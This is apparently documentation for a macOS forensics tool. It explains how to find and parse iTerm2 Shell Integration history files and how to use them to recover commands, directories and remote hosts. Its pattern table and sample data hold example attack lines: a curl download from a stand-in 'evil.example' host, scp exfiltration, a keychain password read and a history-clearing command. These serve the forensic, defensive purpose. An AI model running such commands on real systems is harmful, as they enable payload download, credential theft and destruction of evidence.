iTerm2
iTerm2 Command History
Overview
iTerm2's Shell Integration feature instruments the user's shell so iTerm2 itself records terminal activity independently of the shell's own history. When enabled, it writes three plaintext JSON files to the ~/.iterm2/ directory:
CommandHistory.json— every command entered, with its working directory, a use count, and a last-used timestamp.DirectoryHistory.json— every directory navigated to, with a use count and timestamp.RemoteHosts.json— hostnames and usernames of remote systems iTerm2 detected during sessions.
Because iTerm2 maintains these files separately from ~/.zsh_history, ~/.bash_history, or ~/.local/share/fish/fish_history, they are one of the most valuable macOS command-execution artifacts: they frequently persist after a user clears the shell's own history, and they attribute commands to the remote host on which they ran.
Bypasses shell-history clearing
Deleting or truncating a shell history file (rm ~/.zsh_history, history -c, > ~/.bash_history) does not clear iTerm2's Shell Integration history. Commands run before the clearing may still be recovered from ~/.iterm2/CommandHistory.json. Always collect the iTerm2 histories alongside the shell histories.
Forensic Significance
| Evidence Type | Forensic Value |
|---|---|
| Executed commands | Direct record of user actions, independent of shell history |
| Working directory | Where each command was run — locates staging, exfiltration, and build directories |
| Timestamps | Last-used time per command and directory (Unix epoch) |
| Use counts | Frequency of a command or directory, supporting behavioural analysis |
| Remote host / user | Attributes commands to the SSH target they ran on |
| Directory history | Reconstructs filesystem navigation even without command output |
| Remote hosts list | Enumerates systems the user connected to from the terminal |
Enablement
Shell Integration is not enabled by default. A user turns it on by installing the loader script (via iTerm2's menu or curl -L https://iterm2.com/shell_integration/install_shell_integration.sh | bash), which drops a loader such as ~/.iterm2_shell_integration.zsh and sources it from the shell rc file. The presence of ~/.iterm2/ or a ~/.iterm2_shell_integration.* file indicates Shell Integration was enabled and that these histories should exist.
File Locations
| File | Path | Content |
|---|---|---|
| Command history | ~/.iterm2/CommandHistory.json | Commands with directory, timestamp, use count, remote context |
| Directory history | ~/.iterm2/DirectoryHistory.json | Visited directories with timestamp, use count, remote context |
| Remote hosts | ~/.iterm2/RemoteHosts.json | Hostname/username records captured during sessions |
| Loader scripts | ~/.iterm2_shell_integration.{zsh,bash,fish,tcsh} | Per-shell integration loader (marks enablement) |
Paths are relative to each user's home directory. macfor checks each per user across all enumerated accounts.
File Format
The Shell Integration history files are standard JSON arrays. The on-disk schema is not officially documented and varies across iTerm2 versions, so parsing is intentionally defensive — missing keys yield empty/zero values rather than errors.
Command History
[
{
"command": "scp backup.tar.gz deploy@10.0.4.7:/srv/staging/",
"directory": "/Users/alice/exfil",
"time_of_last_use": 1740412800.482,
"number_of_uses": 3,
"hostname": "prod-web-01",
"username": "deploy"
}
]
| Key | Type | Description |
|---|---|---|
command | string | The command text as typed |
directory | string | Working directory when the command ran |
time_of_last_use | number | Unix epoch seconds (fractional) of the most recent use |
number_of_uses | number | Times the command has been recorded |
hostname | string | Remote host the command ran on (when Shell Integration captured it) |
username | string | Remote username context (when present) |
Directory History
[
{
"path": "/Users/alice/src/loader",
"last_use": 1740412000.117,
"use_count": 12,
"starred": false,
"hostname": "prod-web-01",
"username": "deploy"
}
]
| Key | Type | Description |
|---|---|---|
path | string | The directory path visited |
last_use | number | Unix epoch seconds (fractional) of the most recent visit |
use_count | number | Times the directory was recorded |
starred | bool | Whether the user pinned (starred) the directory |
hostname / username | string | Remote host/user context (when present) |
Remote Hosts
[
{ "hostname": "prod-web-01", "username": "deploy" },
{ "hostname": "10.0.4.7", "username": "root" }
]
| Key | Type | Description |
|---|---|---|
hostname | string | Remote host name or IP |
username | string | Remote login username |
Parsed Record Schema
macfor emits one record per history entry. Timestamps are converted from Unix epoch to RFC 3339 UTC strings.
Command Record (iterm2_command)
| Field | Type | Description |
|---|---|---|
type | string | Always iterm2_command |
app | string | Always iterm2 |
user | string | Local user account the file belongs to |
command | string | The command text |
directory | string | Working directory |
timestamp | string | RFC 3339 UTC (from time_of_last_use) |
use_count | int | Number of recorded uses |
remote_host | string | Remote host context, if any |
remote_user | string | Remote username context, if any |
source_file | string | Absolute path to CommandHistory.json |
Directory Record (iterm2_directory)
| Field | Type | Description |
|---|---|---|
type | string | Always iterm2_directory |
path | string | Directory path |
starred | bool | Whether pinned by the user |
timestamp | string | RFC 3339 UTC (from last_use) |
use_count | int | Number of recorded visits |
remote_host / remote_user | string | Remote context, if any |
source_file | string | Absolute path to DirectoryHistory.json |
Remote Host Record (iterm2_remote_host)
| Field | Type | Description |
|---|---|---|
type | string | Always iterm2_remote_host |
hostname | string | Remote host name or IP |
remote_user | string | Remote login username |
source_file | string | Absolute path to RemoteHosts.json |
Timestamps
Shell Integration timestamps are Unix epoch values — seconds since 1970-01-01 00:00:00 UTC — stored as floating-point numbers, so a fractional (sub-second) component may be present. No offset or reference-date conversion is required beyond standard Unix time handling. macfor renders them as RFC 3339 UTC strings; a non-positive value is treated as "unknown" and left empty.
from datetime import datetime, timezone
datetime.fromtimestamp(1740412800.482, tz=timezone.utc) # 2025-02-24T16:00:00.482Z
Note that iTerm2 records only the last use time per command or directory, not every individual invocation. A command with number_of_uses of 12 has a single time_of_last_use; the earlier eleven executions are not individually timestamped.
Analysis Notes
- Correlate with shell history: Compare the iTerm2 command set with the shell's own history. Commands present in
CommandHistory.jsonbut absent from~/.zsh_historyare a strong indicator that the shell history was cleared or tampered with. - Remote attribution: Use
remote_host/remote_userto attribute commands to the machine they ran on. A command with aremote_hostvalue ran over SSH inside the iTerm2 session, not on the local host. - Directory context:
DirectoryHistory.jsonreconstructs navigation even for sessions where few commands were captured — useful for locating working directories used for staging or exfiltration. - Remote-host enumeration:
RemoteHosts.jsonis a concise list of systems the subject connected to; cross-reference it with~/.ssh/known_hosts,~/.ssh/config, and network logs. - Truncated or malformed files: macfor stream-parses the arrays, so a truncated or partially corrupt file still yields the entries decoded before the break, with a warning recorded rather than aborting collection.
- Sensitive data: Commands may embed passwords, tokens, and connection strings in plaintext (
mysql -p'secret',curl -H "Authorization: Bearer …"). Treat the evidence container as sensitive.
Command Pattern Analysis
| Pattern | MITRE ATT&CK | Example |
|---|---|---|
| Remote downloads | T1105 (Ingress Tool Transfer) | curl -o /tmp/payload http://evil.example/backdoor |
| Lateral movement | T1021.004 (SSH) | ssh deploy@10.0.4.7 — corroborated by remote_host |
| Data exfiltration | T1041 / T1048 | scp data.tar.gz deploy@host:/srv/ |
| Credential access | T1555 | security find-generic-password -wa "Wi-Fi" |
| History clearing | T1070.003 (Clear Command History) | rm ~/.zsh_history — often still recorded by iTerm2 |
Tool Support
| Tool | Support |
|---|---|
| macfor | Full parsing of command, directory, and remote-host histories with timestamp conversion and remote attribution |
| python3 / jq | Parse the raw JSON arrays directly |
| grep / strings | Quick keyword search across ~/.iterm2/*.json |